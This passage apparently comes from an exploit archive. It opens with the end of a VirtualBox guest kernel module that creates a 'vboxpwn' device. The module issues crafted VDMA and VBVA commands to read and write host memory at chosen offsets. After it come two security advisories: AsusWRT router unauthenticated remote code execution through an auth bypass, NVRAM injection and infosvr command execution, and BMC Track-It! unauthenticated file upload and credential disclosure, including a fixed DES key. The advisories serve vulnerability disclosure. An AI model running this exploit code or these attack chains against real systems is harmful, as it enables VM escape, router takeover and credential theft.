        pBlt->dstRectl.height = req->size;
        pBlt->dstRectl.left = 0;
        pBlt->dstRectl.top = 0;

        pBlt->srcDesc.width = 1;
        pBlt->srcDesc.height = req->size;
        pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
        pBlt->srcDesc.bpp = 1;
        pBlt->srcDesc.pitch = 1;
        pBlt->srcDesc.fFlags = 0;

        pBlt->dstDesc.width = 1;
        pBlt->dstDesc.height = req->size;
        pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
        pBlt->dstDesc.bpp = 1;
        pBlt->dstDesc.pitch = 1;
        pBlt->dstDesc.fFlags = 0;

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VMDA command: %d\n", rc);
            return -EFAULT;
        }

        memcpy(req->data, p+header_size, req->size);
    } else if (req->type == 2) {
        char *p;
        printk("Preparing VMDA command for writing %u bytes (offset=%lu).\n", req->size, req->offset);

        uint32_t header_size =
            32 +
            sizeof(VBOXVDMACBUF_DR) +
            sizeof(VBOXVDMACMD) +
            sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         header_size + req->size,
                                         HGSMI_CH_VBVA,
                                         11 /*VBVA_VDMA_CMD*/);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memcpy(p + header_size, req->data, req->size);

        PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
        pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
        pCmd->cbBuf = 0xffff;

        PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
        pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */;

        PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
        pBlt->cDstSubRects = 0;
        pBlt->offSrc = p - g_vram + header_size;
        pBlt->offDst = req->offset;

        pBlt->srcRectl.width = 1;
        pBlt->srcRectl.height = req->size;
        pBlt->srcRectl.left = 0;
        pBlt->srcRectl.top = 0;

        pBlt->dstRectl.width = 1;
        pBlt->dstRectl.height = req->size;
        pBlt->dstRectl.left = 0;
        pBlt->dstRectl.top = 0;

        pBlt->srcDesc.width = 1;
        pBlt->srcDesc.height = req->size;
        pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
        pBlt->srcDesc.bpp = 1;
        pBlt->srcDesc.pitch = 1;
        pBlt->srcDesc.fFlags = 0;

        pBlt->dstDesc.width = 1;
        pBlt->dstDesc.height = req->size;
        pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
        pBlt->dstDesc.bpp = 1;
        pBlt->dstDesc.pitch = 1;
        pBlt->dstDesc.fFlags = 0;

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VMDA command: %d\n", rc);
            return -EFAULT;
        }
    } else if (req->type == 3) {
        char *p;
        printk("Sending custom VBVA command (size=%u).\n", req->size);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         req->size,
                                         HGSMI_CH_VBVA,
                                         req->offset);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memcpy(p, req->data, req->size);

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VBVA command: %d\n", rc);
            return -EFAULT;
        }
    } else if (req->type == 4) {
        char *p;
        printk("Preparing BpbTransfer command for reading %u bytes (offset=%llu).\n", req->size, req->offset);

        uint32_t header_size =
            32 +
            sizeof(VBOXVDMACBUF_DR) +
            sizeof(VBOXVDMACMD) +
            sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         header_size + req->size,
                                         HGSMI_CH_VBVA,
                                         11 /*VBVA_VDMA_CMD*/);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memset(p + header_size, 0x41, req->size);

        PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
        pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
        pCmd->cbBuf = 0xffff;

        PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
        pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */;

        PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
        pBpb->cbTransferSize = req->size;
        pBpb->fFlags = 3;
        pBpb->Src.offVramBuf = req->offset;
        pBpb->Dst.offVramBuf = p - g_vram + header_size;

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VDMA command: %d\n", rc);
            return -EFAULT;
        }

        memcpy(req->data, p+header_size, req->size);
    } else if (req->type == 5) {
        char *p;
        printk("Preparing BpbTransfer command for writing %u bytes (offset=%llu).\n", req->size, req->offset);

        uint32_t header_size =
            32 +
            sizeof(VBOXVDMACBUF_DR) +
            sizeof(VBOXVDMACMD) +
            sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         header_size + req->size,
                                         HGSMI_CH_VBVA,
                                         11 /*VBVA_VDMA_CMD*/);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memcpy(p + header_size, req->data, req->size);

        PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
        pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
        pCmd->cbBuf = 0xffff;

        PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
        pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */;

        PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
        pBpb->cbTransferSize = req->size;
        pBpb->fFlags = 3;
        pBpb->Dst.offVramBuf = req->offset;
        pBpb->Src.offVramBuf = p - g_vram + header_size;

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VDMA command: %d\n", rc);
            return -EFAULT;
        }

        memcpy(req->data, p+header_size, req->size);
    } else if (req->type == 6) {
        printk("Getting VRAM size\n");
        uint32_t vram_size = VBoxVideoCmnPortReadUlong(VBE_DISPI_IOPORT_DATA);
        memcpy(req->data, &vram_size, sizeof vram_size);
    } else {
        printk("Unknown request type: %d\n", req->type);
        return -EFAULT;
    }

    return 0;
}

static struct file_operations   g_PwnFileOps =
{
    owner:          THIS_MODULE,
    unlocked_ioctl: pwnIOCtl,
};

static struct miscdevice        g_PwnDevice =
{
    minor:          MISC_DYNAMIC_MINOR,
    name:           "vboxpwn",
    fops:           &g_PwnFileOps,
};


/**
 * Set up the HGSMI guest-to-host command context.
 * @returns iprt status value
 * @param  pCtx                    the context to set up
 * @param  pvGuestHeapMemory       a pointer to the mapped backing memory for
 *                                 the guest heap
 * @param  cbGuestHeapMemory       the size of the backing memory area
 * @param  offVRAMGuestHeapMemory  the offset of the memory pointed to by
 *                                 @a pvGuestHeapMemory within the video RAM
 */
DECLHIDDEN(int) VBoxHGSMISetupGuestContext(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                           void *pvGuestHeapMemory,
                                           uint32_t cbGuestHeapMemory,
                                           uint32_t offVRAMGuestHeapMemory,
                                           const HGSMIENV *pEnv)
{
    g_vram = (char*)pvGuestHeapMemory - offVRAMGuestHeapMemory;
    g_hgsmiContext = pCtx;
    printk("Registering device node. VRAM @ 0x%016lx\n", g_vram);
    if (!misc_register(&g_PwnDevice)) {
        printk("Successfully created pwn device.\n");
    } else {
        printk("Error creating pwn device.\n");
    }

    /** @todo should we be using a fixed ISA port value here? */
    pCtx->port = (RTIOPORT)VGA_PORT_HGSMI_GUEST;
#ifdef VBOX_WDDM_MINIPORT
    return VBoxSHGSMIInit(&pCtx->heapCtx, pvGuestHeapMemory,
                          cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv);
#else
    return HGSMIHeapSetup(&pCtx->heapCtx, pvGuestHeapMemory,
                          cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv);
#endif
}


/**
 * Get the information needed to map the area used by the host to send back
 * requests.
 *
 * @param  pCtx                the context containing the heap to use
 * @param  cbVRAM              how much video RAM is allocated to the device
 * @param  offVRAMBaseMapping  the offset of the basic communication structures
 *                             into the guest's VRAM
 * @param  poffVRAMHostArea    where to store the offset into VRAM of the host
 *                             heap area
 * @param  pcbHostArea         where to store the size of the host heap area
 */
DECLHIDDEN(void) VBoxHGSMIGetHostAreaMapping(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                             uint32_t cbVRAM,
                                             uint32_t offVRAMBaseMapping,
                                             uint32_t *poffVRAMHostArea,
                                             uint32_t *pcbHostArea)
{
    uint32_t offVRAMHostArea = offVRAMBaseMapping, cbHostArea = 0;

    AssertPtrReturnVoid(poffVRAMHostArea);
    AssertPtrReturnVoid(pcbHostArea);
    VBoxQueryConfHGSMI(pCtx, VBOX_VBVA_CONF32_HOST_HEAP_SIZE, &cbHostArea);
    if (cbHostArea != 0)
    {
        uint32_t cbHostAreaMaxSize = cbVRAM / 4;
        /** @todo what is the idea of this? */
        if (cbHostAreaMaxSize >= VBVA_ADAPTER_INFORMATION_SIZE)
        {
            cbHostAreaMaxSize -= VBVA_ADAPTER_INFORMATION_SIZE;
        }
        if (cbHostArea > cbHostAreaMaxSize)
        {
            cbHostArea = cbHostAreaMaxSize;
        }
        /* Round up to 4096 bytes. */
        cbHostArea = (cbHostArea + 0xFFF) & ~0xFFF;
        offVRAMHostArea = offVRAMBaseMapping - cbHostArea;
    }

    *pcbHostArea = cbHostArea;
    *poffVRAMHostArea = offVRAMHostArea;
    LogFunc(("offVRAMHostArea = 0x%08X, cbHostArea = 0x%08X\n",
             offVRAMHostArea, cbHostArea));
}


/**
 * Initialise the host context structure.
 *
 * @param  pCtx               the context structure to initialise
 * @param  pvBaseMapping      where the basic HGSMI structures are mapped at
 * @param  offHostFlags       the offset of the host flags into the basic HGSMI
 *                            structures
 * @param  pvHostAreaMapping  where the area for the host heap is mapped at
 * @param  offVRAMHostArea    offset of the host heap area into VRAM
 * @param  cbHostArea         size in bytes of the host heap area
 */
DECLHIDDEN(void) VBoxHGSMISetupHostContext(PHGSMIHOSTCOMMANDCONTEXT pCtx,
                                           void *pvBaseMapping,
                                           uint32_t offHostFlags,
                                           void *pvHostAreaMapping,
                                           uint32_t offVRAMHostArea,
                                           uint32_t cbHostArea)
{
    uint8_t *pu8HostFlags = ((uint8_t *)pvBaseMapping) + offHostFlags;
    pCtx->pfHostFlags = (HGSMIHOSTFLAGS *)pu8HostFlags;
    /** @todo should we really be using a fixed ISA port value here? */
    pCtx->port        = (RTIOPORT)VGA_PORT_HGSMI_HOST;
    HGSMIAreaInitialize(&pCtx->areaCtx, pvHostAreaMapping, cbHostArea,
                         offVRAMHostArea);
}


/**
 * Tell the host about the ways it can use to communicate back to us via an
 * HGSMI command
 *
 * @returns  iprt status value
 * @param  pCtx                  the context containing the heap to use
 * @param  offVRAMFlagsLocation  where we wish the host to place its flags
 *                               relative to the start of the VRAM
 * @param  fCaps                 additions HGSMI capabilities the guest
 *                               supports
 * @param  offVRAMHostArea       offset into VRAM of the host heap area
 * @param  cbHostArea            size in bytes of the host heap area
 */
DECLHIDDEN(int) VBoxHGSMISendHostCtxInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                         HGSMIOFFSET offVRAMFlagsLocation,
                                         uint32_t fCaps,
                                         uint32_t offVRAMHostArea,
                                         uint32_t cbHostArea)
{
    Log(("VBoxVideo::vboxSetupAdapterInfo\n"));

    /* setup the flags first to ensure they are initialized by the time the
     * host heap is ready */
    int rc = vboxHGSMIReportFlagsLocation(pCtx, offVRAMFlagsLocation);
    AssertRC(rc);
    if (RT_SUCCESS(rc) && fCaps)
    {
        /* Inform about caps */
        rc = vboxHGSMISendCapsInfo(pCtx, fCaps);
        AssertRC(rc);
    }
    if (RT_SUCCESS (rc))
    {
        /* Report the host heap location. */
        rc = vboxHGSMIReportHostArea(pCtx, offVRAMHostArea, cbHostArea);
        AssertRC(rc);
    }
    Log(("VBoxVideo::vboxSetupAdapterInfo finished rc = %d\n", rc));
    return rc;
}


/** Sanity test on first call.  We do not worry about concurrency issues. */
static int testQueryConf(PHGSMIGUESTCOMMANDCONTEXT pCtx)
{
    static bool cOnce = false;
    uint32_t ulValue = 0;
    int rc;

    if (cOnce)
        return VINF_SUCCESS;
    cOnce = true;
    rc = VBoxQueryConfHGSMI(pCtx, UINT32_MAX, &ulValue);
    if (RT_SUCCESS(rc) && ulValue == UINT32_MAX)
        return VINF_SUCCESS;
    cOnce = false;
    if (RT_FAILURE(rc))
        return rc;
    return VERR_INTERNAL_ERROR;
}


/**
 * Query the host for an HGSMI configuration parameter via an HGSMI command.
 * @returns iprt status value
 * @param  pCtx      the context containing the heap used
 * @param  u32Index  the index of the parameter to query,
 *                   @see VBVACONF32::u32Index
 * @param  u32DefValue defaut value
 * @param  pulValue  where to store the value of the parameter on success
 */
DECLHIDDEN(int) VBoxQueryConfHGSMIDef(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                      uint32_t u32Index, uint32_t u32DefValue, uint32_t *pulValue)
{
    int rc = VINF_SUCCESS;
    VBVACONF32 *p;
    LogFunc(("u32Index = %d\n", u32Index));

    rc = testQueryConf(pCtx);
    if (RT_FAILURE(rc))
        return rc;
    /* Allocate the IO buffer. */
    p = (VBVACONF32 *)VBoxHGSMIBufferAlloc(pCtx,
                                     sizeof(VBVACONF32), HGSMI_CH_VBVA,
                                     VBVA_QUERY_CONF32);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        p->u32Index = u32Index;
        p->u32Value = u32DefValue;
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        if (RT_SUCCESS(rc))
        {
            *pulValue = p->u32Value;
            LogFunc(("u32Value = %d\n", p->u32Value));
        }
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    LogFunc(("rc = %d\n", rc));
    return rc;
}

DECLHIDDEN(int) VBoxQueryConfHGSMI(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                   uint32_t u32Index, uint32_t *pulValue)
{
    return VBoxQueryConfHGSMIDef(pCtx, u32Index, UINT32_MAX, pulValue);
}

/**
 * Pass the host a new mouse pointer shape via an HGSMI command.
 *
 * @returns  success or failure
 * @param  fFlags    cursor flags, @see VMMDevReqMousePointer::fFlags
 * @param  cHotX     horizontal position of the hot spot
 * @param  cHotY     vertical position of the hot spot
 * @param  cWidth    width in pixels of the cursor
 * @param  cHeight   height in pixels of the cursor
 * @param  pPixels   pixel data, @see VMMDevReqMousePointer for the format
 * @param  cbLength  size in bytes of the pixel data
 */
DECLHIDDEN(int)  VBoxHGSMIUpdatePointerShape(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                             uint32_t fFlags,
                                             uint32_t cHotX,
                                             uint32_t cHotY,
                                             uint32_t cWidth,
                                             uint32_t cHeight,
                                             uint8_t *pPixels,
                                             uint32_t cbLength)
{
    VBVAMOUSEPOINTERSHAPE *p;
    uint32_t cbData = 0;
    int rc = VINF_SUCCESS;

    if (fFlags & VBOX_MOUSE_POINTER_SHAPE)
    {
        /* Size of the pointer data: sizeof (AND mask) + sizeof (XOR_MASK) */
        cbData = ((((cWidth + 7) / 8) * cHeight + 3) & ~3)
                 + cWidth * 4 * cHeight;
        /* If shape is supplied, then always create the pointer visible.
         * See comments in 'vboxUpdatePointerShape'
         */
        fFlags |= VBOX_MOUSE_POINTER_VISIBLE;
    }
    LogFlowFunc(("cbData %d, %dx%d\n", cbData, cWidth, cHeight));
    if (cbData > cbLength)
    {
        LogFunc(("calculated pointer data size is too big (%d bytes, limit %d)\n",
                 cbData, cbLength));
        return VERR_INVALID_PARAMETER;
    }
    /* Allocate the IO buffer. */
    p = (VBVAMOUSEPOINTERSHAPE *)VBoxHGSMIBufferAlloc(pCtx,
                                                  sizeof(VBVAMOUSEPOINTERSHAPE)
                                                + cbData,
                                                HGSMI_CH_VBVA,
                                                VBVA_MOUSE_POINTER_SHAPE);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        /* Will be updated by the host. */
        p->i32Result = VINF_SUCCESS;
        /* We have our custom flags in the field */
        p->fu32Flags = fFlags;
        p->u32HotX   = cHotX;
        p->u32HotY   = cHotY;
        p->u32Width  = cWidth;
        p->u32Height = cHeight;
        if (p->fu32Flags & VBOX_MOUSE_POINTER_SHAPE)
            /* Copy the actual pointer data. */
            memcpy (p->au8Data, pPixels, cbData);
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        if (RT_SUCCESS(rc))
            rc = p->i32Result;
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    LogFlowFunc(("rc %d\n", rc));
    return rc;
}


/**
 * Report the guest cursor position.  The host may wish to use this information
 * to re-position its own cursor (though this is currently unlikely).  The
 * current host cursor position is returned.
 * @param  pCtx             The context containing the heap used.
 * @param  fReportPosition  Are we reporting a position?
 * @param  x                Guest cursor X position.
 * @param  y                Guest cursor Y position.
 * @param  pxHost           Host cursor X position is stored here.  Optional.
 * @param  pyHost           Host cursor Y position is stored here.  Optional.
 * @returns  iprt status code.
 * @returns  VERR_NO_MEMORY      HGSMI heap allocation failed.
 */
DECLHIDDEN(int) VBoxHGSMICursorPosition(PHGSMIGUESTCOMMANDCONTEXT pCtx, bool fReportPosition, uint32_t x, uint32_t y,
                                        uint32_t *pxHost, uint32_t *pyHost)
{
    int rc = VINF_SUCCESS;
    VBVACURSORPOSITION *p;
    Log(("%s: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)x, (unsigned)y));

    /* Allocate the IO buffer. */
    p = (VBVACURSORPOSITION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(VBVACURSORPOSITION), HGSMI_CH_VBVA, VBVA_CURSOR_POSITION);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        p->fReportPosition = fReportPosition ? 1 : 0;
        p->x = x;
        p->y = y;
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        if (RT_SUCCESS(rc))
        {
            if (pxHost)
                *pxHost = p->x;
            if (pyHost)
                *pyHost = p->y;
            Log(("%s: return: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)p->x, (unsigned)p->y));
        }
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    LogFunc(("rc = %d\n", rc));
    return rc;
}


/** @todo Mouse pointer position to be read from VMMDev memory, address of the memory region
 * can be queried from VMMDev via an IOCTL. This VMMDev memory region will contain
 * host information which is needed by the guest.
 *
 * Reading will not cause a switch to the host.
 *
 * Have to take into account:
 *  * synchronization: host must write to the memory only from EMT,
 *    large structures must be read under flag, which tells the host
 *    that the guest is currently reading the memory (OWNER flag?).
 *  * guest writes: may be allocate a page for the host info and make
 *    the page readonly for the guest.
 *  * the information should be available only for additions drivers.
 *  * VMMDev additions driver will inform the host which version of the info it expects,
 *    host must support all versions.
 *
 */
 ```
            
>> Unauthenticated LAN remote code execution in AsusWRT
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 22/01/2018 / Last updated: 25/01/2018


>> Background and summary
AsusWRT is the operating system used in mid range and high end Asus routers. It is based on Linux, but with a sleek web UI and a slimmed down profile suitable for running on resource constrained routers.
Thankfully ASUS is a responsible company, and not only they publish the full source code as required by the GPL, but they also give users full root access to their router via SSH. Overall the security of their operating system is pretty good, especially when compared to other router manufacturers.

However due to a number of coding errors, it is possible for an unauthenticated attacker in the LAN to achieve remote code execution in the router as the root user.

A special thanks to Beyond Security SecuriTeam Secure Disclosure (SSD) programme for disclosing these vulnerabilities to the manufacturer, speeding the resolution of the issues discovered (see [1] for their advisory).


>> Technical details:
#1
Vulnerability: HTTP server authentication bypass
CVE-2018-5999
Attack Vector: Remote
Constraints: None; exploitable by an unauthenticated attacker
Affected versions: confirmed on v3.0.0.4.380.7743; possibly affects every version before v3.0.0.4.384.10007

The AsusWRT HTTP server has a flaw in handle_request() that allows an unauthenticated user to perform a POST request for certain actions.
In AsusWRT_source/router/httpd/httpd.c:

handle_request(void)
{
...
	handler->auth(auth_userid, auth_passwd, auth_realm);
	auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);

	if (auth_result != 0)                                     <--- auth fails
	{
		if(strcasecmp(method, "post") == 0){
			if (handler->input) {
				handler->input(file, conn_fp, cl, boundary);        <--- but POST request is still processed
			}
			send_login_page(fromapp, auth_result, NULL, NULL, 0);
		}
		//if(!fromapp) http_logout(login_ip_tmp, cookies);
		return;
	}
...
}

This can (and will) be combined with other vulnerabilities to achieve remote code execution.


#2
Vulnerability: Unauthorised configuration change (NVRAM value setting)
CVE-2018-6000
Attack Vector: Remote
Constraints: None; exploitable by an unauthenticated attacker
Affected versions: confirmed on v3.0.0.4.380.7743; possibly affects every version before v3.0.0.4.384.10007

By abusing vulnerability #1 and POSTing to vpnupload.cgi, we can invoke do_vpnupload_post() in the HTTP server code, which has a vulnerability that allows an attacker to set NVRAM configuration values directly from the request.
In AsusWRT_source/router/httpd/web.c:

do_vpnupload_post(char *url, FILE *stream, int len, char *boundary)
{
...
	if (!strncasecmp(post_buf, "Content-Disposition:", 20)) {
		if(strstr(post_buf, "name=\"file\""))
			break;
		else if(strstr(post_buf, "name=\"")) {
			offset = strlen(post_buf);
			fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
			len -= strlen(post_buf) - offset;
			offset = strlen(post_buf);
			fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
			len -= strlen(post_buf) - offset;
			p = post_buf;
			name = strstr(p, "\"") + 1;
			p = strstr(name, "\"");
			strcpy(p++, "\0");
			value = strstr(p, "\r\n\r\n") + 4;
			p = strstr(value, "\r");
			strcpy(p, "\0");
			//printf("%s=%s\n", name, value);
			nvram_set(name, value);
		}
	}
...
}

These NVRAM values contain very important configuration variables, such as the admin password, which can be set in this way by an authenticated or unauthenticated attacker.

Once that is done, code execution is easily achieved. One option is to login to the web interface with the new password, enable SSH, reboot the router and login via SSH.

A more elegant option is to abuse infosvr, which is a UDP daemon running on port 9999.
The daemon has a special mode where it executes a command received in a packet as the root user. This special mode is only enabled if ateCommand_flag is set to 1, which most likely only happens during factory testing or QA (it was not enabled by default in the firmware distributed by Asus in their website).

However we can set ateCommand_flag to 1 using the VPN configuration upload technique described above and then send a PKT_SYSCMD to infosvr. The daemon will read a command from the packet and execute it as root, achieving our command execution cleanly - without changing any passwords.

(Note: infosvr used to allow unauthenticated command execution without the ateCommand_flag being set, which led to Joshua Drake's (jduck) discovery of CVE-2014-9583, see [2]; this was fixed by Asus in early 2015).

Packet structure (from AsusWRT_source/router/shared/iboxcom.h):
- Header
  typedef struct iboxPKTEx
  {
    BYTE		ServiceID;
    BYTE		PacketType;
    WORD		OpCode;
    DWORD 		Info; // Or Transaction ID
    BYTE		MacAddress[6];
    BYTE		Password[32];   //NULL terminated string, string length:1~31, cannot be NULL string
  } ibox_comm_pkt_hdr_ex;

- Body
  typedef struct iboxPKTCmd
  {
    WORD		len;
    BYTE		cmd[420];		<--- command goes here
  } PKT_SYSCMD;		// total 422 bytes

A Metasploit module exploiting this vulnerability has been released [3].


>> Fix:
Upgrade to AsusWRT v3.0.0.4.384.10007 or above.
See [4] for the very few details and new firmware released by Asus.


>> References:
[1] https://blogs.securiteam.com/index.php/archives/3589
[2] https://github.com/jduck/asus-cmd
[3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/asuswrt_lan_rce.rb
[4] https://www.asus.com/Static_WebPage/ASUS-Product-Security-Advisory/

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
>> Multiple critical vulnerabilities in BMC Track-It! 11.4
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 04/07/2016 / Last updated: 01/01/2017


>> Background and summary
BMC Track-It! exposes several .NET remoting services on port 9010. .NET remoting is a remote method technology similar to Java RMI or CORBA which allows you to invoke methods remotely and retrieve their result.

These remote methods are used when a technician uses the Track-It! client console to communicate with the central Track-It! server. A technician would invoke these methods for obtaining tickets, creating a new ticket, uploading files to tickets, etc.

On October 2014, two 0 day vulnerabilities for Track-It! 11.3 were disclosed (under CVE-2014-4872, see [1]). The vulnerabilities were due
to the Track-It! server accepting remote method invocations without any kind of authentication or encryption. The vulnerabilities were very severe: one allowed an attacker to execute code on the server as NETWORK SERVICE or SYSTEM, while the other would allow an attacker to obtain the domain administrator and SQL server passwords if the Track-It! server had password reset turned on.

These vulnerabilities were discovered in a trivial manner - simply by turning Wireshark on and observing the packets one could see the remote method invocations and objects being passed around. Duplicate and even triplicate packets would not be rejected by the server, which would execute whatever action was requested in the packet.

Disclosure was done by the US-CERT, which attempted to contact BMC but received no response after 45 days. After this period they released the vulnerability information and I released two Metasploit exploits.

BMC contacted me asking for advice on how to fix the issues, to which I responded:
"For #1 [file upload] and #2 [domain admin pass disclosure] the fix is to implement authentication and authorisation. There is no other way to fix it.
[...] Make sure the auth is done properly. You will have to negotiate some kind of session key using the user's credential at the start and use that session key for encryption going forward. Do not use a fixed key, as this can be reverse engineered.
If you don't implement such mechanism, it's just a question of time before someone else breaks your protection and finds new vulnerabilities."

On December 9th 2014, BMC released Track-It! 11.4 [2], which they claimed had fixed the security vulnerabilities.

At first glance, this seemed to be true. Traffic in Wireshark did seem to be encrypted. However upon further inspection, it became obvious that while the actual method invocation and its arguments were being encrypted using a DES key, there was still no authentication being done.
What this means in practice is that anyone can negotiate a new encryption key with the server and use that from then on to invoke remote methods without ever authenticating to the server, even for the initial encryption key exchange.

The code can be inspected by decompiling TrackIt.Utility.Common.dll. The interesting part is in:
namespace TrackIt.Utility.Common.Remoting
{
    internal enum SecureTransaction
    {
        Uninitialized,
        SendingPublicKey,
        SendingSharedKey,
        SendingEncryptedMessage,
        SendingEncryptedResult,
        UnknownIdentifier,
        UnauthenticatedClient
    }
}
This represents the state machine that the server uses to track client requests. The initial state is UnauthenticatedClient for any unknown client. A typical communication would be as follows:
1- Client generates a RSA key, which it shares with the server by sending a Modulus and an Exponent.
2- Server creates a DES key and sends that key back to the client
3- Client and server now share an encryption key; that key is used to pass back messages back and forth (states SendingEncryptedMessage and SendingEncryptedResult).

As it is evident, at no point there is any authentication or credentials being passed from the client to the server. So while all traffic is encrypted, anyone can negotiate an encryption key with the server and invoke any remote method.

From here on, building an exploit is trivial. All that is needed is to import the library DLL's from the Track-It! client application and invoke the methods in the code.

A special thanks to SecuriTeam Secure Disclosure (SSD), which have assisted me in disclosing this vulnerability to BMC. Their advisory can be found at https://blogs.securiteam.com/index.php/archives/2713.

Exploit code for this vulnerability has been released, and can be found in the same github repository as this advisory [3].


>> Technical details:
#1
Vulnerability: Remote code execution via file upload
CVE-2016-6598
Attack Vector: Remote
Constraints: None; exploitable by an unauthenticated attacker
Affected versions: 11.4 (versions <= 11.3 are affected by CVE-2014-4872, which is very similar)

The application exposes an unauthenticated .NET remoting file storage service (FileStorageService) on port 9010. 
This service contains a method that allows uploading a file to an arbitrary path on the machine that is running Track-It!. This can be used to upload a file to the web root and achieve code execution as NETWORK SERVICE or SYSTEM.


#2
Vulnerability: Domain administrator and SQL server user credentials disclosure
CVE-2016-6599
Attack Vector: Remote
Constraints: None; exploitable by an unauthenticated attacker
Affected versions: 11.4 (versions <= 11.3 are affected by CVE-2014-4872, which is very similar)

The application exposes an unauthenticated .NET remoting configuration service (ConfigurationService) on port 9010. 
This service contains a method that can be used to retrieve a configuration file that contains the application database name, username and password as well as the domain administrator username and password. These are encrypted with a fixed key and IV ("NumaraIT") using the DES algorithm. The domain administrator username and password can only be obtained if the Self-Service component is enabled, which is the most common scenario in enterprise deployments.


>> Fix:
Upgrade to BMC Track-It! 11.5 or above.


>> References:
[1] https://raw.githubusercontent.com/pedrib/PoC/master/advisories/bmc-track-it-11.3.txt
[2] https://communities.bmc.com/community/bmcdn/bmc_track-it/blog/2014/12/09/track-it-114-is-now-available
[3] https://github.com/pedrib/PoC/tree/master/exploits/TrackPwn (EDB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43883.zip)


================
Agile Information Security Limited
